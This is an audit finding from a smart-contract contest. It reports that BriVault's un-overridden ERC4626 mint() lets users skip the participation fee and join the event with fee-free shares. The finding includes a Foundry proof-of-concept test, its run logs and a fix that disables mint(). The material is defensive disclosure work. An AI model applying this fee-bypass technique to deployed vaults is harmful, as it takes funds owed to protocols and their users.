BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

ERC4626 mint() allows participation-fee and phase bypass

Root + Impact

Description

  • Users must pay a participation fee on deposited assets before joining the event. Larger deposits incur proportionally larger fees. After funding, users call briVault::joinEvent() to be added to the competition.

  • However, there is a critical gap: joinEvent() snapshots the current ERC4626 share balance via balanceOf(msg.sender), while the protocol’s fee logic only runs inside deposit(). Because ERC4626 mint() is not overridden, a user can:

    1. make a tiny fee-paid deposit (to pass minimumAmount + fee),

    2. Then call mint() to acquire the rest of their shares without paying a participation fee,

    3. and finally call joinEvent() — which snapshots the fee-bypassed balance.


    This lets users join with a large share weight while paying only a tiny fee.

    // lines 200-202
    function _getParticipationFee(uint256 assets) internal view returns (uint256) {
    @> return (assets * participationFeeBsp) / BASE; // Calculates fees on the basis of assets
    }
    // lines 214-218 (in deposit function)
    @> uint256 fee = _getParticipationFee(assets);
    @> if (minimumAmount + fee > assets) { // Sets a min. limit of assets
    revert lowFeeAndAmount();
    }
    // lines 260-261 (in joinEvent function)
    @> uint256 participantShares = balanceOf(msg.sender); // considers direct balance of msg.sender, and thus, no link to `deposit`
    userSharesToCountry[msg.sender][countryId] = participantShares;

  • Additionally, this open mint function can do numerous harms. For example, it lets anyone mint shares even after the event gets started, thus breaking one of the invariants.

Risk

Likelihood: High

  • mint() is publicly callable and ungated; no preconditions beyond ERC20 allowance.

  • Economically attractive: pay a minimal fee, capture a maximal snapshot.

Impact: High

  • First, the protocol loses a lot of fees when every user attempts such a thing.

  • Second, the open mint function can break several core invariants, and thus proves to be risky. Well, it ain't a DeFi protocol where one mints shares whenever they want.

Proof of Concept

  • Here's how the exploit unfolds:

    1. Setup:

      • Two users: user1 (the exploiter), and user2 (our naive lad)

      • Both want to spend 5 tokens of their asset, and select the countryId as 10

    2. The Exploit:

      • user1 deposits with a minimal amount, just above the minimumAmount required by deposit. As the amount was minimal, the fees will be low.

      • user2 deposits all 5 tokens and gets his shares, paying higher fees than user1. Later, he calls joinEvent.

      • user1 mints himself shares by using the mint function by depositing the rest of the (5 - minimal Amount) tokens left. Paying no fees for it.

      • After that, user1 calls the joinEvent function that considers his current share balance, i.e. 5 shares.

      • Well demonstrated in the PoC, using comments...


  • Add this test_bypassingFeesUsingMint test in briVault.t.sol, along with the helper function _getParticipationFees:

    function test_bypassingFeesUsingMint() public {
    // 1. Setup
    vm.prank(owner);
    briVault.setCountry(countries);
    // 2. User1 makes the minimal deposit, enough to clear the margin of `deposit`
    uint256 user1DepositAmount = 0.00021 ether; // Minimum amount = 0.0002 ether
    vm.startPrank(user1);
    mockToken.approve(address(briVault), type(uint256).max);
    briVault.deposit(user1DepositAmount, user1);
    vm.stopPrank();
    console.log("User1 makes the minimal deposit of:", user1DepositAmount);
    console.log("Participation Fees of user1:", _getParticipationFees(user1DepositAmount));
    // 3. User2 makes the normal deposit as intended, i.e. of 5 ether, and joins the event
    uint256 user2DepositAmount = 5 ether;
    vm.startPrank(user2);
    mockToken.approve(address(briVault), type(uint256).max);
    briVault.deposit(user2DepositAmount, user2);
    briVault.joinEvent(10);
    vm.stopPrank();
    console.log();
    console.log("User2 makes the normal deposit of:", user2DepositAmount);
    console.log("Participation Fees of user2:", _getParticipationFees(user2DepositAmount));
    console.log();
    console.log("Let's see how much fees got collected");
    console.log("Balance of Fees Receiving Address so far:", mockToken.balanceOf(participationFeeAddress));
    // 4. After depositing, user1 mints the rest of the shares and joins the event, without calling `deposit`
    vm.startPrank(user1);
    uint256 amountToMint = 5 ether - 0.00021 ether;
    mockToken.approve(address(briVault), amountToMint);
    briVault.mint(amountToMint, user1);
    briVault.joinEvent(10);
    vm.stopPrank();
    console.log();
    console.log("User1 mints the rest of the shares:", amountToMint);
    console.log("But, balance of Fees Receiving Address is still:", mockToken.balanceOf(participationFeeAddress));
    // 5. Checking the userSharesToCountry
    console.log();
    console.log("Can see how User1 bypassed the fees, and having more shares than User2...");
    console.log("User1's userSharesToCountry:", briVault.userSharesToCountry(user1, 10));
    console.log("User2's userSharesToCountry:", briVault.userSharesToCountry(user2, 10));
    // 6. Additionally, nothing restricts the user1 to mint more shares even after the event starts
    }
    // A helper function mirroring `_getParticipationFees` of briVault
    function _getParticipationFees(uint256 assets) public view returns (uint256) {
    return (assets * participationFeeBsp) / 10000;
    }

  • One can use the following command to run the test:

    forge test --mt test_bypassingFeesUsingMint -vv

  • Logs:

    Ran 1 test for test/briVault.t.sol:BriVaultTest
    [PASS] test_bypassingFeesUsingMint() (gas: 1848626)
    Logs:
    User1 makes the minimal deposit of: 210000000000000
    Participation Fees of user1: 3150000000000
    User2 makes the normal deposit of: 5000000000000000000
    Participation Fees of user2: 75000000000000000
    Let's see how much fees got collected
    Balance of Fees Receiving Address so far: 75003150000000000
    User1 mints the rest of the shares: 4999790000000000000
    But, balance of Fees Receiving Address is still: 75003150000000000
    Can see how User1 bypassed the fees, and having more shares than User2...
    User1's userSharesToCountry: 4999996850000000000
    User2's userSharesToCountry: 4925000000000000000
    Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.83ms (1.94ms CPU time)

Recommended Mitigation

There are several fixes that the protocol can make in order to mitigate this issue.:

  1. Recommended: Disable the mint() function completely. In other words, make mint() unavailable as an entry point for users (force them to use deposit() only). With this, no one will be able to mint shares whenever they want.

    + function mint(uint256 shares, address receiver) public override returns (uint256) {
    + revert("mint disabled: use deposit()");
    + }

  2. Or, if you want to allow mint, then make it behave like deposit(), i.e. apply fees, and enforce minimumAmount, eventStartDate, etc.

Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!